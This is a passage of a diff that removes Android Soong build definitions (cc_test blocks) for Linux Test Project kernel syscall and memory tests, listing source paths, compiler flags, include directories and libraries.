-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statfs02",
-    stem: "statfs02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/statfs",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statfs01",
-    stem: "statfs01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/statfs",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise02",
-    stem: "madvise02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise05",
-    stem: "madvise05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_close08",
-    stem: "close08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/close/close08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise07",
-    stem: "madvise07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise06",
-    stem: "madvise06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise09",
-    stem: "madvise09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flock01",
-    stem: "flock01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpriority02",
-    stem: "getpriority02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpriority/getpriority02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_close01",
-    stem: "close01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/close/close01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_close02",
-    stem: "close02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/close/close02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kill09",
-    stem: "kill09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_kill08",
-    stem: "kill08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_rt_sigaction01",
-    stem: "rt_sigaction01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genceil",
-    stem: "genceil",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genceil.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_rt_sigaction03",
-    stem: "rt_sigaction03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rt_sigaction02",
-    stem: "rt_sigaction02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kill01",
-    stem: "kill01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_kill03",
-    stem: "kill03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_kill02",
-    stem: "kill02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_mem03",
-    stem: "mem03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/memmap/mem03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kill06",
-    stem: "kill06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_munmap03",
-    stem: "munmap03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munmap/munmap03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap1",
-    stem: "mmap1",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest06/mmap1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mem01",
-    stem: "mem01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mem/mem01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_min_free_kbytes",
-    stem: "min_free_kbytes",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/tunable/min_free_kbytes.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_pipe10",
-    stem: "pipe10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe11",
-    stem: "pipe11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup3_01",
-    stem: "dup3_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup3/dup3_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup06",
-    stem: "dup06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup3_02",
-    stem: "dup3_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup3/dup3_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getscheduler02",
-    stem: "sched_getscheduler02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getscheduler01",
-    stem: "sched_getscheduler01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execvp01_child",
-    stem: "execvp01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execvp/execvp01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mount03_setuid_test",
-    stem: "mount03_setuid_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/mount03_setuid_test.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_proc01",
-    stem: "proc01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/proc/proc01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat07_child",
-    stem: "creat07_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat07_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sbrk01",
-    stem: "sbrk01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sbrk/sbrk01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod05",
-    stem: "fchmod05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sbrk03",
-    stem: "sbrk03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sbrk/sbrk03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sbrk02",
-    stem: "sbrk02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sbrk/sbrk02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sockioctl01",
-    stem: "sockioctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sockioctl/sockioctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mremap03",
-    stem: "mremap03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mremap/mremap03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_pread03",
-    stem: "pread03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pread",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread02",
-    stem: "pread02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pread",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork09",
-    stem: "fork09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork08",
-    stem: "fork08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_asyncio02",
-    stem: "asyncio02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/asyncio/asyncio02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dirty",
-    stem: "dirty",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/dirty.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_zram03",
-    stem: "zram03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/zram/zram03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork01",
-    stem: "fork01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_write04",
-    stem: "write04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/write/write04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork03",
-    stem: "fork03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork02",
-    stem: "fork02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork05",
-    stem: "fork05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork04",
-    stem: "fork04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork07",
-    stem: "fork07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork06",
-    stem: "fork06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_faccessat01",
-    stem: "faccessat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/faccessat/faccessat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fallocate02",
-    stem: "fallocate02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fallocate/fallocate02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inode02",
-    stem: "inode02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/inode/inode02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DLINUX",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketpair02",
-    stem: "socketpair02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketpair/socketpair02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pth_str01",
-    stem: "pth_str01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/pthreads/pth_str01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_check_pe",
-    stem: "check_pe",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/check_pe.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_wait02",
-    stem: "wait02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait/wait02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genacos",
-    stem: "genacos",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/genacos.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_cacheflush01",
-    stem: "cacheflush01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/cacheflush/cacheflush01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_random",
-    stem: "tst_random",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_random.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_eventfd2_01",
-    stem: "eventfd2_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_poll02",
-    stem: "poll02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/poll/poll02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_eventfd2_02",
-    stem: "eventfd2_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_abort01",
-    stem: "abort01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/abort/abort01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fallocate04",
-    stem: "fallocate04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fallocate/fallocate04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pselect01",
-    stem: "pselect01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tkill01",
-    stem: "tkill01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/tkill/tkill01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pselect03",
-    stem: "pselect03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pselect02",
-    stem: "pselect02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate04",
-    stem: "ftruncate04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ftruncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise03",
-    stem: "posix_fadvise03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise02",
-    stem: "posix_fadvise02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise01",
-    stem: "posix_fadvise01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrusage03_child",
-    stem: "getrusage03_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrusage/getrusage03_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timed_forkbomb",
-    stem: "timed_forkbomb",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/freezer/timed_forkbomb.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise04",
-    stem: "posix_fadvise04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_perf_event_open02",
-    stem: "perf_event_open02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/perf_event_open/perf_event_open02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup05",
-    stem: "dup05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mc_recv",
-    stem: "mc_recv",
-    defaults: ["ltp_test_defaults"],
